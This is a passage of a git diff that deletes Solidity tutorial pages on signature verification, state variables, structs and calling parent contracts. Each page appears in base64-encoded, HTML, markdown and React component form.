AgfQoKICAgIC8qIDMuIFNpZ24gbWVzc2FnZSBoYXNoCiAgICAjIHVzaW5nIGJyb3dzZXIKICAgIGFjY291bnQgPSAiY29weSBwYXN0ZSBhY2NvdW50IG9mIHNpZ25lciBoZXJlIgogICAgZXRoZXJldW0ucmVxdWVzdCh7IG1ldGhvZDogInBlcnNvbmFsX3NpZ24iLCBwYXJhbXM6IFthY2NvdW50LCBoYXNoXX0pLnRoZW4oY29uc29sZS5sb2cpCgogICAgIyB1c2luZyB3ZWIzCiAgICB3ZWIzLnBlcnNvbmFsLnNpZ24oaGFzaCwgd2ViMy5ldGguZGVmYXVsdEFjY291bnQsIGNvbnNvbGUubG9nKQoKICAgIFNpZ25hdHVyZSB3aWxsIGJlIGRpZmZlcmVudCBmb3IgZGlmZmVyZW50IGFjY291bnRzCiAgICAweDk5M2RhYjNkZDkxZjVjNmRjMjhlMTc0MzliZTQ3NTQ3OGY1NjM1YzkyYTU2ZTE3ZTgyMzQ5ZDNmYjJmMTY2MTk2ZjQ2NmMwYjRlMGMxNDZmMjg1MjA0ZjBkY2IxM2U1YWU2N2JjMzNmNGI4ODhlYzMyZGZlMGEwNjNlOGYzZjc4MWIKICAgICovCiAgICBmdW5jdGlvbiBnZXRFdGhTaWduZWRNZXNzYWdlSGFzaCgKICAgICAgICBieXRlczMyIF9tZXNzYWdlSGFzaAogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChieXRlczMyKSB7CiAgICAgICAgLyoKICAgICAgICBTaWduYXR1cmUgaXMgcHJvZHVjZWQgYnkgc2lnbmluZyBhIGtlY2NhazI1NiBoYXNoIHdpdGggdGhlIGZvbGxvd2luZyBmb3JtYXQ6CiAgICAgICAgIlx4MTlFdGhlcmV1bSBTaWduZWQgTWVzc2FnZVxuIiArIGxlbihtc2cpICsgbXNnCiAgICAgICAgKi8KICAgICAgICByZXR1cm4KICAgICAgICAgICAga2VjY2FrMjU2KAogICAgICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZCgiXHgxOUV0aGVyZXVtIFNpZ25lZCBNZXNzYWdlOlxuMzIiLCBfbWVzc2FnZUhhc2gpCiAgICAgICAgICAgICk7CiAgICB9CgogICAgLyogNC4gVmVyaWZ5IHNpZ25hdHVyZQogICAgc2lnbmVyID0gMHhCMjczMjE2QzA1QThjMEQ0RjBhNERkMGQ3QmFlMUQyRWZGRTYzNmRkCiAgICB0byA9IDB4MTQ3MjNBMDlBQ2ZmNkQyQTYwRGNkRjdhQTRBRmYzMDhGRERDMTYwQwogICAgYW1vdW50ID0gMTIzCiAgICBtZXNzYWdlID0gImNvZmZlZSBhbmQgZG9udXRzIgogICAgbm9uY2UgPSAxCiAgICBzaWduYXR1cmUgPQogICAgICAgIDB4OTkzZGFiM2RkOTFmNWM2ZGMyOGUxNzQzOWJlNDc1NDc4ZjU2MzVjOTJhNTZlMTdlODIzNDlkM2ZiMmYxNjYxOTZmNDY2YzBiNGUwYzE0NmYyODUyMDRmMGRjYjEzZTVhZTY3YmMzM2Y0Yjg4OGVjMzJkZmUwYTA2M2U4ZjNmNzgxYgogICAgKi8KICAgIGZ1bmN0aW9uIHZlcmlmeSgKICAgICAgICBhZGRyZXNzIF9zaWduZXIsCiAgICAgICAgYWRkcmVzcyBfdG8sCiAgICAgICAgdWludCBfYW1vdW50LAogICAgICAgIHN0cmluZyBtZW1vcnkgX21lc3NhZ2UsCiAgICAgICAgdWludCBfbm9uY2UsCiAgICAgICAgYnl0ZXMgbWVtb3J5IHNpZ25hdHVyZQogICAgKSBwdWJsaWMgcHVyZSByZXR1cm5zIChib29sKSB7CiAgICAgICAgYnl0ZXMzMiBtZXNzYWdlSGFzaCA9IGdldE1lc3NhZ2VIYXNoKF90bywgX2Ftb3VudCwgX21lc3NhZ2UsIF9ub25jZSk7CiAgICAgICAgYnl0ZXMzMiBldGhTaWduZWRNZXNzYWdlSGFzaCA9IGdldEV0aFNpZ25lZE1lc3NhZ2VIYXNoKG1lc3NhZ2VIYXNoKTsKCiAgICAgICAgcmV0dXJuIHJlY292ZXJTaWduZXIoZXRoU2lnbmVkTWVzc2FnZUhhc2gsIHNpZ25hdHVyZSkgPT0gX3NpZ25lcjsKICAgIH0KCiAgICBmdW5jdGlvbiByZWNvdmVyU2lnbmVyKAogICAgICAgIGJ5dGVzMzIgX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLAogICAgICAgIGJ5dGVzIG1lbW9yeSBfc2lnbmF0dXJlCiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGFkZHJlc3MpIHsKICAgICAgICAoYnl0ZXMzMiByLCBieXRlczMyIHMsIHVpbnQ4IHYpID0gc3BsaXRTaWduYXR1cmUoX3NpZ25hdHVyZSk7CgogICAgICAgIHJldHVybiBlY3JlY292ZXIoX2V0aFNpZ25lZE1lc3NhZ2VIYXNoLCB2LCByLCBzKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzcGxpdFNpZ25hdHVyZSgKICAgICAgICBieXRlcyBtZW1vcnkgc2lnCiAgICApIHB1YmxpYyBwdXJlIHJldHVybnMgKGJ5dGVzMzIgciwgYnl0ZXMzMiBzLCB1aW50OCB2KSB7CiAgICAgICAgcmVxdWlyZShzaWcubGVuZ3RoID09IDY1LCAiaW52YWxpZCBzaWduYXR1cmUgbGVuZ3RoIik7CgogICAgICAgIGFzc2VtYmx5IHsKICAgICAgICAgICAgLyoKICAgICAgICAgICAgRmlyc3QgMzIgYnl0ZXMgc3RvcmVzIHRoZSBsZW5ndGggb2YgdGhlIHNpZ25hdHVyZQoKICAgICAgICAgICAgYWRkKHNpZywgMzIpID0gcG9pbnRlciBvZiBzaWcgKyAzMgogICAgICAgICAgICBlZmZlY3RpdmVseSwgc2tpcHMgZmlyc3QgMzIgYnl0ZXMgb2Ygc2lnbmF0dXJlCgogICAgICAgICAgICBtbG9hZChwKSBsb2FkcyBuZXh0IDMyIGJ5dGVzIHN0YXJ0aW5nIGF0IHRoZSBtZW1vcnkgYWRkcmVzcyBwIGludG8gbWVtb3J5CiAgICAgICAgICAgICovCgogICAgICAgICAgICAvLyBmaXJzdCAzMiBieXRlcywgYWZ0ZXIgdGhlIGxlbmd0aCBwcmVmaXgKICAgICAgICAgICAgciA6PSBtbG9hZChhZGQoc2lnLCAzMikpCiAgICAgICAgICAgIC8vIHNlY29uZCAzMiBieXRlcwogICAgICAgICAgICBzIDo9IG1sb2FkKGFkZChzaWcsIDY0KSkKICAgICAgICAgICAgLy8gZmluYWwgYnl0ZSAoZmlyc3QgYnl0ZSBvZiB0aGUgbmV4dCAzMiBieXRlcykKICAgICAgICAgICAgdiA6PSBieXRlKDAsIG1sb2FkKGFkZChzaWcsIDk2KSkpCiAgICAgICAgfQoKICAgICAgICAvLyBpbXBsaWNpdGx5IHJldHVybiAociwgcywgdikKICAgIH0KfQo=", - }, -] - -const html = `

    Messages can be signed off chain and then verified on chain using a smart contract.

    -

    Example using ethers.js

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -/* Signature Verification
    -
    -How to Sign and Verify
    -# Signing
    -1. Create message to sign
    -2. Hash the message
    -3. Sign the hash (off chain, keep your private key secret)
    -
    -# Verify
    -1. Recreate hash from the original message
    -2. Recover signer from signature and hash
    -3. Compare recovered signer to claimed signer
    -*/
    -
    -contract VerifySignature {
    -    /* 1. Unlock MetaMask account
    -    ethereum.enable()
    -    */
    -
    -    /* 2. Get message hash to sign
    -    getMessageHash(
    -        0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C,
    -        123,
    -        "coffee and donuts",
    -        1
    -    )
    -
    -    hash = "0xcf36ac4f97dc10d91fc2cbb20d718e94a8cbfe0f82eaedc6a4aa38946fb797cd"
    -    */
    -    function getMessageHash(
    -        address _to,
    -        uint _amount,
    -        string memory _message,
    -        uint _nonce
    -    ) public pure returns (bytes32) {
    -        return keccak256(abi.encodePacked(_to, _amount, _message, _nonce));
    -    }
    -
    -    /* 3. Sign message hash
    -    # using browser
    -    account = "copy paste account of signer here"
    -    ethereum.request({ method: "personal_sign", params: [account, hash]}).then(console.log)
    -
    -    # using web3
    -    web3.personal.sign(hash, web3.eth.defaultAccount, console.log)
    -
    -    Signature will be different for different accounts
    -    0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b
    -    */
    -    function getEthSignedMessageHash(
    -        bytes32 _messageHash
    -    ) public pure returns (bytes32) {
    -        /*
    -        Signature is produced by signing a keccak256 hash with the following format:
    -        "\\x19Ethereum Signed Message\\n" + len(msg) + msg
    -        */
    -        return
    -            keccak256(
    -                abi.encodePacked("\\x19Ethereum Signed Message:\\n32", _messageHash)
    -            );
    -    }
    -
    -    /* 4. Verify signature
    -    signer = 0xB273216C05A8c0D4F0a4Dd0d7Bae1D2EfFE636dd
    -    to = 0x14723A09ACff6D2A60DcdF7aA4AFf308FDDC160C
    -    amount = 123
    -    message = "coffee and donuts"
    -    nonce = 1
    -    signature =
    -        0x993dab3dd91f5c6dc28e17439be475478f5635c92a56e17e82349d3fb2f166196f466c0b4e0c146f285204f0dcb13e5ae67bc33f4b888ec32dfe0a063e8f3f781b
    -    */
    -    function verify(
    -        address _signer,
    -        address _to,
    -        uint _amount,
    -        string memory _message,
    -        uint _nonce,
    -        bytes memory signature
    -    ) public pure returns (bool) {
    -        bytes32 messageHash = getMessageHash(_to, _amount, _message, _nonce);
    -        bytes32 ethSignedMessageHash = getEthSignedMessageHash(messageHash);
    -
    -        return recoverSigner(ethSignedMessageHash, signature) == _signer;
    -    }
    -
    -    function recoverSigner(
    -        bytes32 _ethSignedMessageHash,
    -        bytes memory _signature
    -    ) public pure returns (address) {
    -        (bytes32 r, bytes32 s, uint8 v) = splitSignature(_signature);
    -
    -        return ecrecover(_ethSignedMessageHash, v, r, s);
    -    }
    -
    -    function splitSignature(
    -        bytes memory sig
    -    ) public pure returns (bytes32 r, bytes32 s, uint8 v) {
    -        require(sig.length == 65, "invalid signature length");
    -
    -        assembly {
    -            /*
    -            First 32 bytes stores the length of the signature
    -
    -            add(sig, 32) = pointer of sig + 32
    -            effectively, skips first 32 bytes of signature
    -
    -            mload(p) loads next 32 bytes starting at the memory address p into memory
    -            */
    -
    -            // first 32 bytes, after the length prefix
    -            r := mload(add(sig, 32))
    -            // second 32 bytes
    -            s := mload(add(sig, 64))
    -            // final byte (first byte of the next 32 bytes)
    -            v := byte(0, mload(add(sig, 96)))
    -        }
    -
    -        // implicitly return (r, s, v)
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/signature/index.md b/src/pages/signature/index.md deleted file mode 100644 index 5565f81a8..000000000 --- a/src/pages/signature/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Verifying Signature -version: 0.8.20 -description: An example of how to verify signatures in Solidity -keywords: [cryptography, verify, verifying, signature, signatures, ecrecover] ---- - -Messages can be signed off chain and then verified on chain using a smart contract. - -[Example using ethers.js](https://github.com/t4sk/hello-erc20-permit/blob/main/test/verify-signature.js) - -```solidity -{{{Signature}}} -``` diff --git a/src/pages/signature/index.tsx b/src/pages/signature/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/signature/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/state-variables/SimpleStorage.sol b/src/pages/state-variables/SimpleStorage.sol deleted file mode 100644 index df875fd82..000000000 --- a/src/pages/state-variables/SimpleStorage.sol +++ /dev/null @@ -1,17 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract SimpleStorage { - // State variable to store a number - uint public num; - - // You need to send a transaction to write to a state variable. - function set(uint _num) public { - num = _num; - } - - // You can read from a state variable without sending a transaction. - function get() public view returns (uint) { - return num; - } -} diff --git a/src/pages/state-variables/index.html.ts b/src/pages/state-variables/index.html.ts deleted file mode 100644 index 764165bf5..000000000 --- a/src/pages/state-variables/index.html.ts +++ /dev/null @@ -1,44 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Reading and Writing to a State Variable" -export const description = "Reading and Writing to a State Variable" - -export const keywords = [ - "reading", - "writing", - "state", - "variable", - "variables", - "app", - "application", -] - -export const codes = [ - { - fileName: "SimpleStorage.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFNpbXBsZVN0b3JhZ2UgewogICAgLy8gU3RhdGUgdmFyaWFibGUgdG8gc3RvcmUgYSBudW1iZXIKICAgIHVpbnQgcHVibGljIG51bTsKCiAgICAvLyBZb3UgbmVlZCB0byBzZW5kIGEgdHJhbnNhY3Rpb24gdG8gd3JpdGUgdG8gYSBzdGF0ZSB2YXJpYWJsZS4KICAgIGZ1bmN0aW9uIHNldCh1aW50IF9udW0pIHB1YmxpYyB7CiAgICAgICAgbnVtID0gX251bTsKICAgIH0KCiAgICAvLyBZb3UgY2FuIHJlYWQgZnJvbSBhIHN0YXRlIHZhcmlhYmxlIHdpdGhvdXQgc2VuZGluZyBhIHRyYW5zYWN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KCkgcHVibGljIHZpZXcgcmV0dXJucyAodWludCkgewogICAgICAgIHJldHVybiBudW07CiAgICB9Cn0K", - }, -] - -const html = `

    To write or update a state variable you need to send a transaction.

    -

    On the other hand, you can read state variables, for free, without any transaction fee.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract SimpleStorage {
    -    // State variable to store a number
    -    uint public num;
    -
    -    // You need to send a transaction to write to a state variable.
    -    function set(uint _num) public {
    -        num = _num;
    -    }
    -
    -    // You can read from a state variable without sending a transaction.
    -    function get() public view returns (uint) {
    -        return num;
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/state-variables/index.md b/src/pages/state-variables/index.md deleted file mode 100644 index 9ded44290..000000000 --- a/src/pages/state-variables/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Reading and Writing to a State Variable -version: 0.8.20 -description: Reading and Writing to a State Variable -keywords: [reading, writing, state, variable, variables, app, application] ---- - -To write or update a state variable you need to send a transaction. - -On the other hand, you can read state variables, for free, without any transaction fee. - -```solidity -{{{SimpleStorage}}} -``` diff --git a/src/pages/state-variables/index.tsx b/src/pages/state-variables/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/state-variables/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/structs/StructDeclaration.sol b/src/pages/structs/StructDeclaration.sol deleted file mode 100644 index 3740229e8..000000000 --- a/src/pages/structs/StructDeclaration.sol +++ /dev/null @@ -1,8 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; -// This is saved 'StructDeclaration.sol' - -struct Todo { - string text; - bool completed; -} diff --git a/src/pages/structs/StructImport.sol b/src/pages/structs/StructImport.sol deleted file mode 100644 index 2cc561af5..000000000 --- a/src/pages/structs/StructImport.sol +++ /dev/null @@ -1,9 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "./StructDeclaration.sol"; - -contract Todos { - // An array of 'Todo' structs - Todo[] public todos; -} diff --git a/src/pages/structs/Structs.sol b/src/pages/structs/Structs.sol deleted file mode 100644 index cb439e12f..000000000 --- a/src/pages/structs/Structs.sol +++ /dev/null @@ -1,47 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Todos { - struct Todo { - string text; - bool completed; - } - - // An array of 'Todo' structs - Todo[] public todos; - - function create(string calldata _text) public { - // 3 ways to initialize a struct - // - calling it like a function - todos.push(Todo(_text, false)); - - // key value mapping - todos.push(Todo({text: _text, completed: false})); - - // initialize an empty struct and then update it - Todo memory todo; - todo.text = _text; - // todo.completed initialized to false - - todos.push(todo); - } - - // Solidity automatically created a getter for 'todos' so - // you don't actually need this function. - function get(uint _index) public view returns (string memory text, bool completed) { - Todo storage todo = todos[_index]; - return (todo.text, todo.completed); - } - - // update text - function updateText(uint _index, string calldata _text) public { - Todo storage todo = todos[_index]; - todo.text = _text; - } - - // update completed - function toggleCompleted(uint _index) public { - Todo storage todo = todos[_index]; - todo.completed = !todo.completed; - } -} diff --git a/src/pages/structs/index.html.ts b/src/pages/structs/index.html.ts deleted file mode 100644 index 5f981c9aa..000000000 --- a/src/pages/structs/index.html.ts +++ /dev/null @@ -1,103 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Structs" -export const description = "An example of how to use structs in Solidity" - -export const keywords = [ - "struct", - "structs", - "data", - "type", - "types", - "variable", - "variables", -] - -export const codes = [ - { - fileName: "StructDeclaration.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKLy8gVGhpcyBpcyBzYXZlZCAnU3RydWN0RGVjbGFyYXRpb24uc29sJwoKc3RydWN0IFRvZG8gewogICAgc3RyaW5nIHRleHQ7CiAgICBib29sIGNvbXBsZXRlZDsKfQo=", - }, - { - fileName: "StructImport.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiLi9TdHJ1Y3REZWNsYXJhdGlvbi5zb2wiOwoKY29udHJhY3QgVG9kb3MgewogICAgLy8gQW4gYXJyYXkgb2YgJ1RvZG8nIHN0cnVjdHMKICAgIFRvZG9bXSBwdWJsaWMgdG9kb3M7Cn0K", - }, - { - fileName: "Structs.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFRvZG9zIHsKICAgIHN0cnVjdCBUb2RvIHsKICAgICAgICBzdHJpbmcgdGV4dDsKICAgICAgICBib29sIGNvbXBsZXRlZDsKICAgIH0KCiAgICAvLyBBbiBhcnJheSBvZiAnVG9kbycgc3RydWN0cwogICAgVG9kb1tdIHB1YmxpYyB0b2RvczsKCiAgICBmdW5jdGlvbiBjcmVhdGUoc3RyaW5nIGNhbGxkYXRhIF90ZXh0KSBwdWJsaWMgewogICAgICAgIC8vIDMgd2F5cyB0byBpbml0aWFsaXplIGEgc3RydWN0CiAgICAgICAgLy8gLSBjYWxsaW5nIGl0IGxpa2UgYSBmdW5jdGlvbgogICAgICAgIHRvZG9zLnB1c2goVG9kbyhfdGV4dCwgZmFsc2UpKTsKCiAgICAgICAgLy8ga2V5IHZhbHVlIG1hcHBpbmcKICAgICAgICB0b2Rvcy5wdXNoKFRvZG8oe3RleHQ6IF90ZXh0LCBjb21wbGV0ZWQ6IGZhbHNlfSkpOwoKICAgICAgICAvLyBpbml0aWFsaXplIGFuIGVtcHR5IHN0cnVjdCBhbmQgdGhlbiB1cGRhdGUgaXQKICAgICAgICBUb2RvIG1lbW9yeSB0b2RvOwogICAgICAgIHRvZG8udGV4dCA9IF90ZXh0OwogICAgICAgIC8vIHRvZG8uY29tcGxldGVkIGluaXRpYWxpemVkIHRvIGZhbHNlCgogICAgICAgIHRvZG9zLnB1c2godG9kbyk7CiAgICB9CgogICAgLy8gU29saWRpdHkgYXV0b21hdGljYWxseSBjcmVhdGVkIGEgZ2V0dGVyIGZvciAndG9kb3MnIHNvCiAgICAvLyB5b3UgZG9uJ3QgYWN0dWFsbHkgbmVlZCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gZ2V0KHVpbnQgX2luZGV4KSBwdWJsaWMgdmlldyByZXR1cm5zIChzdHJpbmcgbWVtb3J5IHRleHQsIGJvb2wgY29tcGxldGVkKSB7CiAgICAgICAgVG9kbyBzdG9yYWdlIHRvZG8gPSB0b2Rvc1tfaW5kZXhdOwogICAgICAgIHJldHVybiAodG9kby50ZXh0LCB0b2RvLmNvbXBsZXRlZCk7CiAgICB9CgogICAgLy8gdXBkYXRlIHRleHQKICAgIGZ1bmN0aW9uIHVwZGF0ZVRleHQodWludCBfaW5kZXgsIHN0cmluZyBjYWxsZGF0YSBfdGV4dCkgcHVibGljIHsKICAgICAgICBUb2RvIHN0b3JhZ2UgdG9kbyA9IHRvZG9zW19pbmRleF07CiAgICAgICAgdG9kby50ZXh0ID0gX3RleHQ7CiAgICB9CgogICAgLy8gdXBkYXRlIGNvbXBsZXRlZAogICAgZnVuY3Rpb24gdG9nZ2xlQ29tcGxldGVkKHVpbnQgX2luZGV4KSBwdWJsaWMgewogICAgICAgIFRvZG8gc3RvcmFnZSB0b2RvID0gdG9kb3NbX2luZGV4XTsKICAgICAgICB0b2RvLmNvbXBsZXRlZCA9ICF0b2RvLmNvbXBsZXRlZDsKICAgIH0KfQo=", - }, -] - -const html = `

    You can define your own type by creating a struct.

    -

    They are useful for grouping together related data.

    -

    Structs can be declared outside of a contract and imported in another contract.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract Todos {
    -    struct Todo {
    -        string text;
    -        bool completed;
    -    }
    -
    -    // An array of 'Todo' structs
    -    Todo[] public todos;
    -
    -    function create(string calldata _text) public {
    -        // 3 ways to initialize a struct
    -        // - calling it like a function
    -        todos.push(Todo(_text, false));
    -
    -        // key value mapping
    -        todos.push(Todo({text: _text, completed: false}));
    -
    -        // initialize an empty struct and then update it
    -        Todo memory todo;
    -        todo.text = _text;
    -        // todo.completed initialized to false
    -
    -        todos.push(todo);
    -    }
    -
    -    // Solidity automatically created a getter for 'todos' so
    -    // you don't actually need this function.
    -    function get(uint _index) public view returns (string memory text, bool completed) {
    -        Todo storage todo = todos[_index];
    -        return (todo.text, todo.completed);
    -    }
    -
    -    // update text
    -    function updateText(uint _index, string calldata _text) public {
    -        Todo storage todo = todos[_index];
    -        todo.text = _text;
    -    }
    -
    -    // update completed
    -    function toggleCompleted(uint _index) public {
    -        Todo storage todo = todos[_index];
    -        todo.completed = !todo.completed;
    -    }
    -}
    -

    Declaring and importing Struct

    -

    File that the struct is declared in

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -// This is saved 'StructDeclaration.sol'
    -
    -struct Todo {
    -    string text;
    -    bool completed;
    -}
    -

    File that imports the struct above

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -import "./StructDeclaration.sol";
    -
    -contract Todos {
    -    // An array of 'Todo' structs
    -    Todo[] public todos;
    -}
    -
    ` - -export default html diff --git a/src/pages/structs/index.md b/src/pages/structs/index.md deleted file mode 100644 index 71c2e13c5..000000000 --- a/src/pages/structs/index.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Structs -version: 0.8.20 -description: An example of how to use structs in Solidity -keywords: [struct, structs, data, type, types, variable, variables] ---- - -You can define your own type by creating a `struct`. - -They are useful for grouping together related data. - -Structs can be declared outside of a contract and imported in another contract. - -```solidity -{{{Structs}}} -``` - -### Declaring and importing Struct - -File that the struct is declared in - -```solidity -{{{StructDeclaration}}} -``` - -File that imports the struct above - -```solidity -{{{StructImport}}} -``` diff --git a/src/pages/structs/index.tsx b/src/pages/structs/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/structs/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/super/Super.sol b/src/pages/super/Super.sol deleted file mode 100644 index ee3267e49..000000000 --- a/src/pages/super/Super.sol +++ /dev/null @@ -1,66 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -/* Inheritance tree - A - / \ -B C - \ / - D -*/ - -contract A { - // This is called an event. You can emit events from your function - // and they are logged into the transaction log. - // In our case, this will be useful for tracing function calls. - event Log(string message); - - function foo() public virtual { - emit Log("A.foo called"); - } - - function bar() public virtual { - emit Log("A.bar called"); - } -} - -contract B is A { - function foo() public virtual override { - emit Log("B.foo called"); - A.foo(); - } - - function bar() public virtual override { - emit Log("B.bar called"); - super.bar(); - } -} - -contract C is A { - function foo() public virtual override { - emit Log("C.foo called"); - A.foo(); - } - - function bar() public virtual override { - emit Log("C.bar called"); - super.bar(); - } -} - -contract D is B, C { - // Try: - // - Call D.foo and check the transaction logs. - // Although D inherits A, B and C, it only called C and then A. - // - Call D.bar and check the transaction logs - // D called C, then B, and finally A. - // Although super was called twice (by B and C) it only called A once. - - function foo() public override(B, C) { - super.foo(); - } - - function bar() public override(B, C) { - super.bar(); - } -} diff --git a/src/pages/super/index.html.ts b/src/pages/super/index.html.ts deleted file mode 100644 index 06c41a15e..000000000 --- a/src/pages/super/index.html.ts +++ /dev/null @@ -1,92 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Calling Parent Contracts" -export const description = "An example of calling parent contracts in Solidity" - -export const keywords = [ - "calling", - "parent", - "contract", - "contracts", - "inheritance", - "super", -] - -export const codes = [ - { - fileName: "Super.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCi8qIEluaGVyaXRhbmNlIHRyZWUKICAgQQogLyAgXApCICAgQwogXCAvCiAgRAoqLwoKY29udHJhY3QgQSB7CiAgICAvLyBUaGlzIGlzIGNhbGxlZCBhbiBldmVudC4gWW91IGNhbiBlbWl0IGV2ZW50cyBmcm9tIHlvdXIgZnVuY3Rpb24KICAgIC8vIGFuZCB0aGV5IGFyZSBsb2dnZWQgaW50byB0aGUgdHJhbnNhY3Rpb24gbG9nLgogICAgLy8gSW4gb3VyIGNhc2UsIHRoaXMgd2lsbCBiZSB1c2VmdWwgZm9yIHRyYWNpbmcgZnVuY3Rpb24gY2FsbHMuCiAgICBldmVudCBMb2coc3RyaW5nIG1lc3NhZ2UpOwoKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIHsKICAgICAgICBlbWl0IExvZygiQS5mb28gY2FsbGVkIik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFyKCkgcHVibGljIHZpcnR1YWwgewogICAgICAgIGVtaXQgTG9nKCJBLmJhciBjYWxsZWQiKTsKICAgIH0KfQoKY29udHJhY3QgQiBpcyBBIHsKICAgIGZ1bmN0aW9uIGZvbygpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQi5mb28gY2FsbGVkIik7CiAgICAgICAgQS5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgdmlydHVhbCBvdmVycmlkZSB7CiAgICAgICAgZW1pdCBMb2coIkIuYmFyIGNhbGxlZCIpOwogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cgpjb250cmFjdCBDIGlzIEEgewogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIHZpcnR1YWwgb3ZlcnJpZGUgewogICAgICAgIGVtaXQgTG9nKCJDLmZvbyBjYWxsZWQiKTsKICAgICAgICBBLmZvbygpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJhcigpIHB1YmxpYyB2aXJ0dWFsIG92ZXJyaWRlIHsKICAgICAgICBlbWl0IExvZygiQy5iYXIgY2FsbGVkIik7CiAgICAgICAgc3VwZXIuYmFyKCk7CiAgICB9Cn0KCmNvbnRyYWN0IEQgaXMgQiwgQyB7CiAgICAvLyBUcnk6CiAgICAvLyAtIENhbGwgRC5mb28gYW5kIGNoZWNrIHRoZSB0cmFuc2FjdGlvbiBsb2dzLgogICAgLy8gICBBbHRob3VnaCBEIGluaGVyaXRzIEEsIEIgYW5kIEMsIGl0IG9ubHkgY2FsbGVkIEMgYW5kIHRoZW4gQS4KICAgIC8vIC0gQ2FsbCBELmJhciBhbmQgY2hlY2sgdGhlIHRyYW5zYWN0aW9uIGxvZ3MKICAgIC8vICAgRCBjYWxsZWQgQywgdGhlbiBCLCBhbmQgZmluYWxseSBBLgogICAgLy8gICBBbHRob3VnaCBzdXBlciB3YXMgY2FsbGVkIHR3aWNlIChieSBCIGFuZCBDKSBpdCBvbmx5IGNhbGxlZCBBIG9uY2UuCgogICAgZnVuY3Rpb24gZm9vKCkgcHVibGljIG92ZXJyaWRlKEIsIEMpIHsKICAgICAgICBzdXBlci5mb28oKTsKICAgIH0KCiAgICBmdW5jdGlvbiBiYXIoKSBwdWJsaWMgb3ZlcnJpZGUoQiwgQykgewogICAgICAgIHN1cGVyLmJhcigpOwogICAgfQp9Cg==", - }, -] - -const html = `

    Parent contracts can be called directly, or by using the keyword super.

    -

    By using the keyword super, all of the immediate parent contracts will be called.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -/* Inheritance tree
    -   A
    - /  \\
    -B   C
    - \\ /
    -  D
    -*/
    -
    -contract A {
    -    // This is called an event. You can emit events from your function
    -    // and they are logged into the transaction log.
    -    // In our case, this will be useful for tracing function calls.
    -    event Log(string message);
    -
    -    function foo() public virtual {
